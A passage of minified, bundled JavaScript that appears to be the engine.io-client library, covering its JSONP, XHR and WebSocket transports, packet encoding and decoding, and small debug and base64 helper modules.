packet=parser.decodePacket(data,this.socket.binaryType);this.onPacket(packet)};Transport.prototype.onPacket=function(packet){this.emit(\"packet\",packet)};Transport.prototype.onClose=function(){this.readyState=\"closed\";this.emit(\"close\")}},{\"component-emitter\":9,\"engine.io-parser\":25}],15:[function(_dereq_,module,exports){(function(global){var XMLHttpRequest=_dereq_(\"xmlhttprequest\");var XHR=_dereq_(\"./polling-xhr\");var JSONP=_dereq_(\"./polling-jsonp\");var websocket=_dereq_(\"./websocket\");exports.polling=polling;exports.websocket=websocket;function polling(opts){var xhr;var xd=false;var xs=false;var jsonp=false!==opts.jsonp;if(global.location){var isSSL=\"https:\"==location.protocol;var port=location.port;if(!port){port=isSSL?443:80}xd=opts.hostname!=location.hostname||port!=opts.port;xs=opts.secure!=isSSL}opts.xdomain=xd;opts.xscheme=xs;xhr=new XMLHttpRequest(opts);if(\"open\"in xhr&&!opts.forceJSONP){return new XHR(opts)}else{if(!jsonp)throw new Error(\"JSONP disabled\");return new JSONP(opts)}}}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{\"./polling-jsonp\":16,\"./polling-xhr\":17,\"./websocket\":19,xmlhttprequest:20}],16:[function(_dereq_,module,exports){(function(global){var Polling=_dereq_(\"./polling\");\nvar inherit=_dereq_(\"component-inherit\");module.exports=JSONPPolling;var rNewline=/\\n/g;var rEscapedNewline=/\\\\n/g;var callbacks;var index=0;function empty(){}function JSONPPolling(opts){Polling.call(this,opts);this.query=this.query||{};if(!callbacks){if(!global.___eio)global.___eio=[];callbacks=global.___eio}this.index=callbacks.length;var self=this;callbacks.push(function(msg){self.onData(msg)});this.query.j=this.index;if(global.document&&global.addEventListener){global.addEventListener(\"beforeunload\",function(){if(self.script)self.script.onerror=empty},false)}}inherit(JSONPPolling,Polling);JSONPPolling.prototype.supportsBinary=false;JSONPPolling.prototype.doClose=function(){if(this.script){this.script.parentNode.removeChild(this.script);this.script=null}if(this.form){this.form.parentNode.removeChild(this.form);this.form=null;this.iframe=null}Polling.prototype.doClose.call(this)};JSONPPolling.prototype.doPoll=function(){var self=this;var script=document.createElement(\"script\");if(this.script){this.script.parentNode.removeChild(this.script);this.script=null}script.async=true;script.src=this.uri();script.onerror=function(e){self.onError(\"jsonp poll error\",e)};var insertAt=document.getElementsByTagName(\"script\")[0];insertAt.parentNode.insertBefore(script,insertAt);this.script=script;var isUAgecko=\"undefined\"!=typeof navigator&&/gecko/i.test(navigator.userAgent);if(isUAgecko){setTimeout(function(){var iframe=document.createElement(\"iframe\");document.body.appendChild(iframe);document.body.removeChild(iframe)},100)}};JSONPPolling.prototype.doWrite=function(data,fn){var self=this;if(!this.form){var form=document.createElement(\"form\");var area=document.createElement(\"textarea\");var id=this.iframeId=\"eio_iframe_\"+this.index;var iframe;form.className=\"socketio\";form.style.position=\"absolute\";form.style.top=\"-1000px\";form.style.left=\"-1000px\";form.target=id;form.method=\"POST\";form.setAttribute(\"accept-charset\",\"utf-8\");area.name=\"d\";form.appendChild(area);document.body.appendChild(form);this.form=form;this.area=area}this.form.action=this.uri();function complete(){initIframe();fn()}function initIframe(){if(self.iframe){try{self.form.removeChild(self.iframe)}catch(e){self.onError(\"jsonp polling iframe removal error\",e)}}try{var html='<iframe src=\"javascript:0\" name=\"'+self.iframeId+'\">';iframe=document.createElement(html)}catch(e){iframe=document.createElement(\"iframe\");iframe.name=self.iframeId;iframe.src=\"javascript:0\"}iframe.id=self.iframeId;self.form.appendChild(iframe);self.iframe=iframe}initIframe();data=data.replace(rEscapedNewline,\"\\\\\\n\");this.area.value=data.replace(rNewline,\"\\\\n\");try{this.form.submit()}catch(e){}if(this.iframe.attachEvent){this.iframe.onreadystatechange=function(){if(self.iframe.readyState==\"complete\"){complete()}}}else{this.iframe.onload=complete}}}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{\"./polling\":18,\"component-inherit\":21}],17:[function(_dereq_,module,exports){(function(global){var XMLHttpRequest=_dereq_(\"xmlhttprequest\");var Polling=_dereq_(\"./polling\");var Emitter=_dereq_(\"component-emitter\");var inherit=_dereq_(\"component-inherit\");var debug=_dereq_(\"debug\")(\"engine.io-client:polling-xhr\");module.exports=XHR;module.exports.Request=Request;function empty(){}function XHR(opts){Polling.call(this,opts);if(global.location){var isSSL=\"https:\"==location.protocol;var port=location.port;if(!port){port=isSSL?443:80}this.xd=opts.hostname!=global.location.hostname||port!=opts.port;this.xs=opts.secure!=isSSL}}inherit(XHR,Polling);XHR.prototype.supportsBinary=true;XHR.prototype.request=function(opts){opts=opts||{};opts.uri=this.uri();opts.xd=this.xd;opts.xs=this.xs;opts.agent=this.agent||false;opts.supportsBinary=this.supportsBinary;opts.enablesXDR=this.enablesXDR;opts.pfx=this.pfx;opts.key=this.key;opts.passphrase=this.passphrase;opts.cert=this.cert;opts.ca=this.ca;opts.ciphers=this.ciphers;opts.rejectUnauthorized=this.rejectUnauthorized;return new Request(opts)};XHR.prototype.doWrite=function(data,fn){var isBinary=typeof data!==\"string\"&&data!==undefined;var req=this.request({method:\"POST\",data:data,isBinary:isBinary});var self=this;req.on(\"success\",fn);req.on(\"error\",function(err){self.onError(\"xhr post error\",err)});this.sendXhr=req};XHR.prototype.doPoll=function(){debug(\"xhr poll\");var req=this.request();var self=this;req.on(\"data\",function(data){self.onData(data)});req.on(\"error\",function(err){self.onError(\"xhr poll error\",err)});this.pollXhr=req};function Request(opts){this.method=opts.method||\"GET\";this.uri=opts.uri;this.xd=!!opts.xd;this.xs=!!opts.xs;this.async=false!==opts.async;this.data=undefined!=opts.data?opts.data:null;this.agent=opts.agent;this.isBinary=opts.isBinary;this.supportsBinary=opts.supportsBinary;this.enablesXDR=opts.enablesXDR;this.pfx=opts.pfx;this.key=opts.key;this.passphrase=opts.passphrase;this.cert=opts.cert;this.ca=opts.ca;this.ciphers=opts.ciphers;this.rejectUnauthorized=opts.rejectUnauthorized;this.create()}Emitter(Request.prototype);Request.prototype.create=function(){var opts={agent:this.agent,xdomain:this.xd,xscheme:this.xs,enablesXDR:this.enablesXDR};opts.pfx=this.pfx;opts.key=this.key;opts.passphrase=this.passphrase;opts.cert=this.cert;opts.ca=this.ca;opts.ciphers=this.ciphers;opts.rejectUnauthorized=this.rejectUnauthorized;var xhr=this.xhr=new XMLHttpRequest(opts);var self=this;try{debug(\"xhr open %s: %s\",this.method,this.uri);xhr.open(this.method,this.uri,this.async);if(this.supportsBinary){xhr.responseType=\"arraybuffer\"}if(\"POST\"==this.method){try{if(this.isBinary){xhr.setRequestHeader(\"Content-type\",\"application/octet-stream\")}else{xhr.setRequestHeader(\"Content-type\",\"text/plain;charset=UTF-8\")}}catch(e){}}if(\"withCredentials\"in xhr){xhr.withCredentials=true}if(this.hasXDR()){xhr.onload=function(){self.onLoad()};xhr.onerror=function(){self.onError(xhr.responseText)}}else{xhr.onreadystatechange=function(){if(4!=xhr.readyState)return;if(200==xhr.status||1223==xhr.status){self.onLoad()}else{setTimeout(function(){self.onError(xhr.status)},0)}}}debug(\"xhr data %s\",this.data);xhr.send(this.data)}catch(e){setTimeout(function(){self.onError(e)},0);return}if(global.document){this.index=Request.requestsCount++;Request.requests[this.index]=this}};Request.prototype.onSuccess=function(){this.emit(\"success\");this.cleanup()};Request.prototype.onData=function(data){this.emit(\"data\",data);this.onSuccess()};Request.prototype.onError=function(err){this.emit(\"error\",err);this.cleanup(true)};Request.prototype.cleanup=function(fromError){if(\"undefined\"==typeof this.xhr||null===this.xhr){return}if(this.hasXDR()){this.xhr.onload=this.xhr.onerror=empty}else{this.xhr.onreadystatechange=empty}if(fromError){try{this.xhr.abort()}catch(e){}}if(global.document){delete Request.requests[this.index]}this.xhr=null};Request.prototype.onLoad=function(){var data;try{var contentType;try{contentType=this.xhr.getResponseHeader(\"Content-Type\").split(\";\")[0]}catch(e){}if(contentType===\"application/octet-stream\"){data=this.xhr.response}else{if(!this.supportsBinary){data=this.xhr.responseText}else{data=\"ok\"}}}catch(e){this.onError(e)}if(null!=data){this.onData(data)}};Request.prototype.hasXDR=function(){return\"undefined\"!==typeof global.XDomainRequest&&!this.xs&&this.enablesXDR};Request.prototype.abort=function(){this.cleanup()};if(global.document){Request.requestsCount=0;Request.requests={};if(global.attachEvent){global.attachEvent(\"onunload\",unloadHandler)}else if(global.addEventListener){global.addEventListener(\"beforeunload\",unloadHandler,false)}}function unloadHandler(){for(var i in Request.requests){if(Request.requests.hasOwnProperty(i)){Request.requests[i].abort()}}}}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{\"./polling\":18,\"component-emitter\":9,\"component-inherit\":21,debug:22,xmlhttprequest:20}],18:[function(_dereq_,module,exports){var Transport=_dereq_(\"../transport\");var parseqs=_dereq_(\"parseqs\");var parser=_dereq_(\"engine.io-parser\");var inherit=_dereq_(\"component-inherit\");var debug=_dereq_(\"debug\")(\"engine.io-client:polling\");module.exports=Polling;var hasXHR2=function(){var XMLHttpRequest=_dereq_(\"xmlhttprequest\");var xhr=new XMLHttpRequest({xdomain:false});return null!=xhr.responseType}();function Polling(opts){var forceBase64=opts&&opts.forceBase64;if(!hasXHR2||forceBase64){this.supportsBinary=false}Transport.call(this,opts)}inherit(Polling,Transport);Polling.prototype.name=\"polling\";Polling.prototype.doOpen=function(){this.poll()};Polling.prototype.pause=function(onPause){var pending=0;var self=this;this.readyState=\"pausing\";function pause(){debug(\"paused\");self.readyState=\"paused\";onPause()}if(this.polling||!this.writable){var total=0;if(this.polling){debug(\"we are currently polling - waiting to pause\");total++;this.once(\"pollComplete\",function(){debug(\"pre-pause polling complete\");--total||pause()})}if(!this.writable){debug(\"we are currently writing - waiting to pause\");total++;this.once(\"drain\",function(){debug(\"pre-pause writing complete\");--total||pause()})}}else{pause()}};Polling.prototype.poll=function(){debug(\"polling\");this.polling=true;this.doPoll();this.emit(\"poll\")};Polling.prototype.onData=function(data){var self=this;debug(\"polling got data %s\",data);var callback=function(packet,index,total){if(\"opening\"==self.readyState){self.onOpen()}if(\"close\"==packet.type){self.onClose();return false}self.onPacket(packet)};parser.decodePayload(data,this.socket.binaryType,callback);if(\"closed\"!=this.readyState){this.polling=false;this.emit(\"pollComplete\");if(\"open\"==this.readyState){this.poll()}else{debug('ignoring poll - transport state \"%s\"',this.readyState)}}};Polling.prototype.doClose=function(){var self=this;function close(){debug(\"writing close packet\");self.write([{type:\"close\"}])}if(\"open\"==this.readyState){debug(\"transport open - closing\");close()}else{debug(\"transport not open - deferring close\");this.once(\"open\",close)}};Polling.prototype.write=function(packets){var self=this;this.writable=false;var callbackfn=function(){self.writable=true;self.emit(\"drain\")};var self=this;parser.encodePayload(packets,this.supportsBinary,function(data){self.doWrite(data,callbackfn)})};Polling.prototype.uri=function(){var query=this.query||{};var schema=this.secure?\"https\":\"http\";var port=\"\";if(false!==this.timestampRequests){query[this.timestampParam]=+new Date+\"-\"+Transport.timestamps++}if(!this.supportsBinary&&!query.sid){query.b64=1}query=parseqs.encode(query);if(this.port&&(\"https\"==schema&&this.port!=443||\"http\"==schema&&this.port!=80)){port=\":\"+this.port}if(query.length){query=\"?\"+query}return schema+\"://\"+this.hostname+port+this.path+query}},{\"../transport\":14,\"component-inherit\":21,debug:22,\"engine.io-parser\":25,parseqs:35,xmlhttprequest:20}],19:[function(_dereq_,module,exports){var Transport=_dereq_(\"../transport\");var parser=_dereq_(\"engine.io-parser\");var parseqs=_dereq_(\"parseqs\");var inherit=_dereq_(\"component-inherit\");var debug=_dereq_(\"debug\")(\"engine.io-client:websocket\");var WebSocket=_dereq_(\"ws\");module.exports=WS;function WS(opts){var forceBase64=opts&&opts.forceBase64;if(forceBase64){this.supportsBinary=false}this.perMessageDeflate=opts.perMessageDeflate;Transport.call(this,opts)}inherit(WS,Transport);WS.prototype.name=\"websocket\";WS.prototype.supportsBinary=true;WS.prototype.doOpen=function(){if(!this.check()){return}var self=this;var uri=this.uri();var protocols=void 0;var opts={agent:this.agent,perMessageDeflate:this.perMessageDeflate};opts.pfx=this.pfx;opts.key=this.key;opts.passphrase=this.passphrase;opts.cert=this.cert;opts.ca=this.ca;opts.ciphers=this.ciphers;opts.rejectUnauthorized=this.rejectUnauthorized;this.ws=new WebSocket(uri,protocols,opts);if(this.ws.binaryType===undefined){this.supportsBinary=false}this.ws.binaryType=\"arraybuffer\";this.addEventListeners()};WS.prototype.addEventListeners=function(){var self=this;this.ws.onopen=function(){self.onOpen()};this.ws.onclose=function(){self.onClose()};this.ws.onmessage=function(ev){self.onData(ev.data)};this.ws.onerror=function(e){self.onError(\"websocket error\",e)}};if(\"undefined\"!=typeof navigator&&/iPad|iPhone|iPod/i.test(navigator.userAgent)){WS.prototype.onData=function(data){var self=this;setTimeout(function(){Transport.prototype.onData.call(self,data)},0)}}WS.prototype.write=function(packets){var self=this;this.writable=false;for(var i=0,l=packets.length;i<l;i++){var packet=packets[i];parser.encodePacket(packet,this.supportsBinary,function(data){try{self.ws.send(data,packet.options)}catch(e){debug(\"websocket closed before onclose event\")}})}function ondrain(){self.writable=true;self.emit(\"drain\")}setTimeout(ondrain,0)};WS.prototype.onClose=function(){Transport.prototype.onClose.call(this)};WS.prototype.doClose=function(){if(typeof this.ws!==\"undefined\"){this.ws.close()}};WS.prototype.uri=function(){var query=this.query||{};var schema=this.secure?\"wss\":\"ws\";var port=\"\";if(this.port&&(\"wss\"==schema&&this.port!=443||\"ws\"==schema&&this.port!=80)){port=\":\"+this.port}if(this.timestampRequests){query[this.timestampParam]=+new Date}if(!this.supportsBinary){query.b64=1}query=parseqs.encode(query);if(query.length){query=\"?\"+query}return schema+\"://\"+this.hostname+port+this.path+query};WS.prototype.check=function(){return!!WebSocket&&!(\"__initialize\"in WebSocket&&this.name===WS.prototype.name)}},{\"../transport\":14,\"component-inherit\":21,debug:22,\"engine.io-parser\":25,parseqs:35,ws:37}],20:[function(_dereq_,module,exports){var hasCORS=_dereq_(\"has-cors\");module.exports=function(opts){var xdomain=opts.xdomain;var xscheme=opts.xscheme;var enablesXDR=opts.enablesXDR;try{if(\"undefined\"!=typeof XMLHttpRequest&&(!xdomain||hasCORS)){return new XMLHttpRequest}}catch(e){}try{if(\"undefined\"!=typeof XDomainRequest&&!xscheme&&enablesXDR){return new XDomainRequest}}catch(e){}if(!xdomain){try{return new ActiveXObject(\"Microsoft.XMLHTTP\")}catch(e){}}}},{\"has-cors\":40}],21:[function(_dereq_,module,exports){module.exports=function(a,b){var fn=function(){};fn.prototype=b.prototype;a.prototype=new fn;a.prototype.constructor=a}},{}],22:[function(_dereq_,module,exports){exports=module.exports=_dereq_(\"./debug\");exports.log=log;exports.formatArgs=formatArgs;exports.save=save;exports.load=load;exports.useColors=useColors;exports.colors=[\"lightseagreen\",\"forestgreen\",\"goldenrod\",\"dodgerblue\",\"darkorchid\",\"crimson\"];function useColors(){return\"WebkitAppearance\"in document.documentElement.style||window.console&&(console.firebug||console.exception&&console.table)||navigator.userAgent.toLowerCase().match(/firefox\\/(\\d+)/)&&parseInt(RegExp.$1,10)>=31}exports.formatters.j=function(v){return JSON.stringify(v)};function formatArgs(){var args=arguments;var useColors=this.useColors;args[0]=(useColors?\"%c\":\"\")+this.namespace+(useColors?\" %c\":\" \")+args[0]+(useColors?\"%c \":\" \")+\"+\"+exports.humanize(this.diff);if(!useColors)return args;var c=\"color: \"+this.color;args=[args[0],c,\"color: inherit\"].concat(Array.prototype.slice.call(args,1));var index=0;var lastC=0;args[0].replace(/%[a-z%]/g,function(match){if(\"%\"===match)return;index++;if(\"%c\"===match){lastC=index}});args.splice(lastC,0,c);return args}function log(){return\"object\"==typeof console&&\"function\"==typeof console.log&&Function.prototype.apply.call(console.log,console,arguments)}function save(namespaces){try{if(null==namespaces){localStorage.removeItem(\"debug\")}else{localStorage.debug=namespaces}}catch(e){}}function load(){var r;try{r=localStorage.debug}catch(e){}return r}exports.enable(load())},{\"./debug\":23}],23:[function(_dereq_,module,exports){exports=module.exports=debug;exports.coerce=coerce;exports.disable=disable;exports.enable=enable;exports.enabled=enabled;exports.humanize=_dereq_(\"ms\");exports.names=[];exports.skips=[];exports.formatters={};var prevColor=0;var prevTime;function selectColor(){return exports.colors[prevColor++%exports.colors.length]}function debug(namespace){function disabled(){}disabled.enabled=false;function enabled(){var self=enabled;var curr=+new Date;var ms=curr-(prevTime||curr);self.diff=ms;self.prev=prevTime;self.curr=curr;prevTime=curr;if(null==self.useColors)self.useColors=exports.useColors();if(null==self.color&&self.useColors)self.color=selectColor();var args=Array.prototype.slice.call(arguments);args[0]=exports.coerce(args[0]);if(\"string\"!==typeof args[0]){args=[\"%o\"].concat(args)}var index=0;args[0]=args[0].replace(/%([a-z%])/g,function(match,format){if(match===\"%\")return match;index++;var formatter=exports.formatters[format];if(\"function\"===typeof formatter){var val=args[index];match=formatter.call(self,val);args.splice(index,1);index--}return match});if(\"function\"===typeof exports.formatArgs){args=exports.formatArgs.apply(self,args)}var logFn=enabled.log||exports.log||console.log.bind(console);logFn.apply(self,args)}enabled.enabled=true;var fn=exports.enabled(namespace)?enabled:disabled;fn.namespace=namespace;return fn}function enable(namespaces){exports.save(namespaces);var split=(namespaces||\"\").split(/[\\s,]+/);var len=split.length;for(var i=0;i<len;i++){if(!split[i])continue;namespaces=split[i].replace(/\\*/g,\".*?\");if(namespaces[0]===\"-\"){exports.skips.push(new RegExp(\"^\"+namespaces.substr(1)+\"$\"))}else{exports.names.push(new RegExp(\"^\"+namespaces+\"$\"))}}}function disable(){exports.enable(\"\")}function enabled(name){var i,len;for(i=0,len=exports.skips.length;i<len;i++){if(exports.skips[i].test(name)){return false}}for(i=0,len=exports.names.length;i<len;i++){if(exports.names[i].test(name)){return true}}return false}function coerce(val){if(val instanceof Error)return val.stack||val.message;return val}},{ms:24}],24:[function(_dereq_,module,exports){var s=1e3;var m=s*60;var h=m*60;var d=h*24;var y=d*365.25;module.exports=function(val,options){options=options||{};if(\"string\"==typeof val)return parse(val);return options.long?long(val):short(val)};function parse(str){var match=/^((?:\\d+)?\\.?\\d+) *(ms|seconds?|s|minutes?|m|hours?|h|days?|d|years?|y)?$/i.exec(str);if(!match)return;var n=parseFloat(match[1]);var type=(match[2]||\"ms\").toLowerCase();switch(type){case\"years\":case\"year\":case\"y\":return n*y;case\"days\":case\"day\":case\"d\":return n*d;case\"hours\":case\"hour\":case\"h\":return n*h;case\"minutes\":case\"minute\":case\"m\":return n*m;case\"seconds\":case\"second\":case\"s\":return n*s;case\"ms\":return n}}function short(ms){if(ms>=d)return Math.round(ms/d)+\"d\";if(ms>=h)return Math.round(ms/h)+\"h\";if(ms>=m)return Math.round(ms/m)+\"m\";if(ms>=s)return Math.round(ms/s)+\"s\";return ms+\"ms\"}function long(ms){return plural(ms,d,\"day\")||plural(ms,h,\"hour\")||plural(ms,m,\"minute\")||plural(ms,s,\"second\")||ms+\" ms\"}function plural(ms,n,name){if(ms<n)return;if(ms<n*1.5)return Math.floor(ms/n)+\" \"+name;return Math.ceil(ms/n)+\" \"+name+\"s\"}},{}],25:[function(_dereq_,module,exports){(function(global){var keys=_dereq_(\"./keys\");var hasBinary=_dereq_(\"has-binary\");var sliceBuffer=_dereq_(\"arraybuffer.slice\");var base64encoder=_dereq_(\"base64-arraybuffer\");var after=_dereq_(\"after\");var utf8=_dereq_(\"utf8\");var isAndroid=navigator.userAgent.match(/Android/i);var isPhantomJS=/PhantomJS/i.test(navigator.userAgent);var dontSendBlobs=isAndroid||isPhantomJS;exports.protocol=3;var packets=exports.packets={open:0,close:1,ping:2,pong:3,message:4,upgrade:5,noop:6};var packetslist=keys(packets);var err={type:\"error\",data:\"parser error\"};var Blob=_dereq_(\"blob\");exports.encodePacket=function(packet,supportsBinary,utf8encode,callback){if(\"function\"==typeof supportsBinary){callback=supportsBinary;supportsBinary=false}if(\"function\"==typeof utf8encode){callback=utf8encode;utf8encode=null}var data=packet.data===undefined?undefined:packet.data.buffer||packet.data;if(global.ArrayBuffer&&data instanceof ArrayBuffer){return encodeArrayBuffer(packet,supportsBinary,callback)}else if(Blob&&data instanceof global.Blob){return encodeBlob(packet,supportsBinary,callback)}if(data&&data.base64){return encodeBase64Object(packet,callback)}var encoded=packets[packet.type];if(undefined!==packet.data){encoded+=utf8encode?utf8.encode(String(packet.data)):String(packet.data)}return callback(\"\"+encoded)};function encodeBase64Object(packet,callback){var message=\"b\"+exports.packets[packet.type]+packet.data.data;return callback(message)}function encodeArrayBuffer(packet,supportsBinary,callback){if(!supportsBinary){return exports.encodeBase64Packet(packet,callback)}var data=packet.data;var contentArray=new Uint8Array(data);var resultBuffer=new Uint8Array(1+data.byteLength);resultBuffer[0]=packets[packet.type];for(var i=0;i<contentArray.length;i++){resultBuffer[i+1]=contentArray[i]}return callback(resultBuffer.buffer)}function encodeBlobAsArrayBuffer(packet,supportsBinary,callback){if(!supportsBinary){return exports.encodeBase64Packet(packet,callback)}var fr=new FileReader;fr.onload=function(){packet.data=fr.result;exports.encodePacket(packet,supportsBinary,true,callback)};return fr.readAsArrayBuffer(packet.data)}function encodeBlob(packet,supportsBinary,callback){if(!supportsBinary){return exports.encodeBase64Packet(packet,callback)}if(dontSendBlobs){return encodeBlobAsArrayBuffer(packet,supportsBinary,callback)}var length=new Uint8Array(1);length[0]=packets[packet.type];var blob=new Blob([length.buffer,packet.data]);return callback(blob)}exports.encodeBase64Packet=function(packet,callback){var message=\"b\"+exports.packets[packet.type];if(Blob&&packet.data instanceof Blob){var fr=new FileReader;fr.onload=function(){var b64=fr.result.split(\",\")[1];callback(message+b64)};return fr.readAsDataURL(packet.data)}var b64data;try{b64data=String.fromCharCode.apply(null,new Uint8Array(packet.data))}catch(e){var typed=new Uint8Array(packet.data);var basic=new Array(typed.length);for(var i=0;i<typed.length;i++){basic[i]=typed[i]}b64data=String.fromCharCode.apply(null,basic)}message+=global.btoa(b64data);return callback(message)};exports.decodePacket=function(data,binaryType,utf8decode){if(typeof data==\"string\"||data===undefined){if(data.charAt(0)==\"b\"){return exports.decodeBase64Packet(data.substr(1),binaryType)}if(utf8decode){try{data=utf8.decode(data)}catch(e){return err}}var type=data.charAt(0);if(Number(type)!=type||!packetslist[type]){return err}if(data.length>1){return{type:packetslist[type],data:data.substring(1)}}else{return{type:packetslist[type]}}}var asArray=new Uint8Array(data);var type=asArray[0];var rest=sliceBuffer(data,1);if(Blob&&binaryType===\"blob\"){rest=new Blob([rest])}return{type:packetslist[type],data:rest}};exports.decodeBase64Packet=function(msg,binaryType){var type=packetslist[msg.charAt(0)];if(!global.ArrayBuffer){return{type:type,data:{base64:true,data:msg.substr(1)}}}var data=base64encoder.decode(msg.substr(1));if(binaryType===\"blob\"&&Blob){data=new Blob([data])}return{type:type,data:data}};exports.encodePayload=function(packets,supportsBinary,callback){if(typeof supportsBinary==\"function\"){callback=supportsBinary;supportsBinary=null}var isBinary=hasBinary(packets);if(supportsBinary&&isBinary){if(Blob&&!dontSendBlobs){return exports.encodePayloadAsBlob(packets,callback)}return exports.encodePayloadAsArrayBuffer(packets,callback)}if(!packets.length){return callback(\"0:\")}function setLengthHeader(message){return message.length+\":\"+message}function encodeOne(packet,doneCallback){exports.encodePacket(packet,!isBinary?false:supportsBinary,true,function(message){doneCallback(null,setLengthHeader(message))})}map(packets,encodeOne,function(err,results){return callback(results.join(\"\"))})};function map(ary,each,done){var result=new Array(ary.length);var next=after(ary.length,done);var eachWithIndex=function(i,el,cb){each(el,function(error,msg){result[i]=msg;cb(error,result)})};for(var i=0;i<ary.length;i++){eachWithIndex(i,ary[i],next)}}exports.decodePayload=function(data,binaryType,callback){if(typeof data!=\"string\"){return exports.decodePayloadAsBinary(data,binaryType,callback)}if(typeof binaryType===\"function\"){callback=binaryType;binaryType=null}var packet;if(data==\"\"){return callback(err,0,1)}var length=\"\",n,msg;for(var i=0,l=data.length;i<l;i++){var chr=data.charAt(i);if(\":\"!=chr){length+=chr}else{if(\"\"==length||length!=(n=Number(length))){return callback(err,0,1)}msg=data.substr(i+1,n);if(length!=msg.length){return callback(err,0,1)}if(msg.length){packet=exports.decodePacket(msg,binaryType,true);if(err.type==packet.type&&err.data==packet.data){return callback(err,0,1)}var ret=callback(packet,i+n,l);if(false===ret)return}i+=n;length=\"\"}}if(length!=\"\"){return callback(err,0,1)}};exports.encodePayloadAsArrayBuffer=function(packets,callback){if(!packets.length){return callback(new ArrayBuffer(0))}function encodeOne(packet,doneCallback){exports.encodePacket(packet,true,true,function(data){return doneCallback(null,data)})}map(packets,encodeOne,function(err,encodedPackets){var totalLength=encodedPackets.reduce(function(acc,p){var len;if(typeof p===\"string\"){len=p.length}else{len=p.byteLength}return acc+len.toString().length+len+2},0);var resultArray=new Uint8Array(totalLength);var bufferIndex=0;encodedPackets.forEach(function(p){var isString=typeof p===\"string\";var ab=p;if(isString){var view=new Uint8Array(p.length);for(var i=0;i<p.length;i++){view[i]=p.charCodeAt(i)}ab=view.buffer}if(isString){resultArray[bufferIndex++]=0}else{resultArray[bufferIndex++]=1}var lenStr=ab.byteLength.toString();for(var i=0;i<lenStr.length;i++){resultArray[bufferIndex++]=parseInt(lenStr[i])}resultArray[bufferIndex++]=255;var view=new Uint8Array(ab);for(var i=0;i<view.length;i++){resultArray[bufferIndex++]=view[i]}});return callback(resultArray.buffer)})};exports.encodePayloadAsBlob=function(packets,callback){function encodeOne(packet,doneCallback){exports.encodePacket(packet,true,true,function(encoded){var binaryIdentifier=new Uint8Array(1);binaryIdentifier[0]=1;if(typeof encoded===\"string\"){var view=new Uint8Array(encoded.length);for(var i=0;i<encoded.length;i++){view[i]=encoded.charCodeAt(i)}encoded=view.buffer;binaryIdentifier[0]=0}var len=encoded instanceof ArrayBuffer?encoded.byteLength:encoded.size;var lenStr=len.toString();var lengthAry=new Uint8Array(lenStr.length+1);for(var i=0;i<lenStr.length;i++){lengthAry[i]=parseInt(lenStr[i])}lengthAry[lenStr.length]=255;if(Blob){var blob=new Blob([binaryIdentifier.buffer,lengthAry.buffer,encoded]);doneCallback(null,blob)}})}map(packets,encodeOne,function(err,results){return callback(new Blob(results))})};exports.decodePayloadAsBinary=function(data,binaryType,callback){if(typeof binaryType===\"function\"){callback=binaryType;binaryType=null}var bufferTail=data;var buffers=[];var numberTooLong=false;while(bufferTail.byteLength>0){var tailArray=new Uint8Array(bufferTail);var isString=tailArray[0]===0;var msgLength=\"\";for(var i=1;;i++){if(tailArray[i]==255)break;if(msgLength.length>310){numberTooLong=true;break}msgLength+=tailArray[i]}if(numberTooLong)return callback(err,0,1);bufferTail=sliceBuffer(bufferTail,2+msgLength.length);msgLength=parseInt(msgLength);var msg=sliceBuffer(bufferTail,0,msgLength);if(isString){try{msg=String.fromCharCode.apply(null,new Uint8Array(msg))}catch(e){var typed=new Uint8Array(msg);msg=\"\";for(var i=0;i<typed.length;i++){msg+=String.fromCharCode(typed[i])}}}buffers.push(msg);bufferTail=sliceBuffer(bufferTail,msgLength)}var total=buffers.length;buffers.forEach(function(buffer,i){callback(exports.decodePacket(buffer,binaryType,true),i,total)})}}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{\"./keys\":26,after:27,\"arraybuffer.slice\":28,\"base64-arraybuffer\":29,blob:30,\"has-binary\":31,utf8:33}],26:[function(_dereq_,module,exports){module.exports=Object.keys||function keys(obj){var arr=[];var has=Object.prototype.hasOwnProperty;for(var i in obj){if(has.call(obj,i)){arr.push(i)}}return arr}},{}],27:[function(_dereq_,module,exports){module.exports=after;function after(count,callback,err_cb){var bail=false;err_cb=err_cb||noop;proxy.count=count;return count===0?callback():proxy;function proxy(err,result){if(proxy.count<=0){throw new Error(\"after called too many times\")}--proxy.count;if(err){bail=true;callback(err);callback=err_cb}else if(proxy.count===0&&!bail){callback(null,result)}}}function noop(){}},{}],28:[function(_dereq_,module,exports){module.exports=function(arraybuffer,start,end){var bytes=arraybuffer.byteLength;start=start||0;end=end||bytes;if(arraybuffer.slice){return arraybuffer.slice(start,end)}if(start<0){start+=bytes}if(end<0){end+=bytes}if(end>bytes){end=bytes}if(start>=bytes||start>=end||bytes===0){return new ArrayBuffer(0)}var abv=new Uint8Array(arraybuffer);var result=new Uint8Array(end-start);for(var i=start,ii=0;i<end;i++,ii++){result[ii]=abv[i]}return result.buffer}},{}],29:[function(_dereq_,module,exports){(function(chars){\"use strict\";exports.encode=function(arraybuffer){var bytes=new Uint8Array(arraybuffer),i,len=bytes.length,base64=\"\";for(i=0;i<len;i+=3){base64+=chars[bytes[i]>>2];base64+=chars[(bytes[i]&3)<<4|bytes[i+1]>>4];base64+=chars[(bytes[i+1]&15)<<2|bytes[i+2]>>6];base64+=chars[bytes[i+2]&63]}if(len%3===2){base64=base64.substring(0,base64.length-1)+\"=\"}else if(len%3===1){base64=base64.substring(0,base64.length-2)+\"==\"}return base64};exports.decode=function(base64){var bufferLength=base64.length*.75,len=base64.length,i,p=0,encoded1,encoded2,encoded3,encoded4;if(base64[base64.length-1]===\"=\"){bufferLength--;if(base64[base64.length-2]===\"=\"){bufferLength--}}var arraybuffer=new ArrayBuffer(bufferLength),bytes=new Uint8Array(arraybuffer);for(i=0;i<len;i+=4){encoded1=chars.indexOf(base64[i]);encoded2=chars.indexOf(base64[i+1]);encoded3=chars.indexOf(base64[i+2]);encoded4=chars.indexOf(base64[i+3]);bytes[p++]=encoded1<<2|encoded2>>4;bytes[p++]=(encoded2&15)<<4|encoded3>>2;bytes[p++]=(encoded3&3)<<6|encoded4&63}return arraybuffer}})(\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\")},{}],30:[function(_dereq_,module,exports){(function(global){var 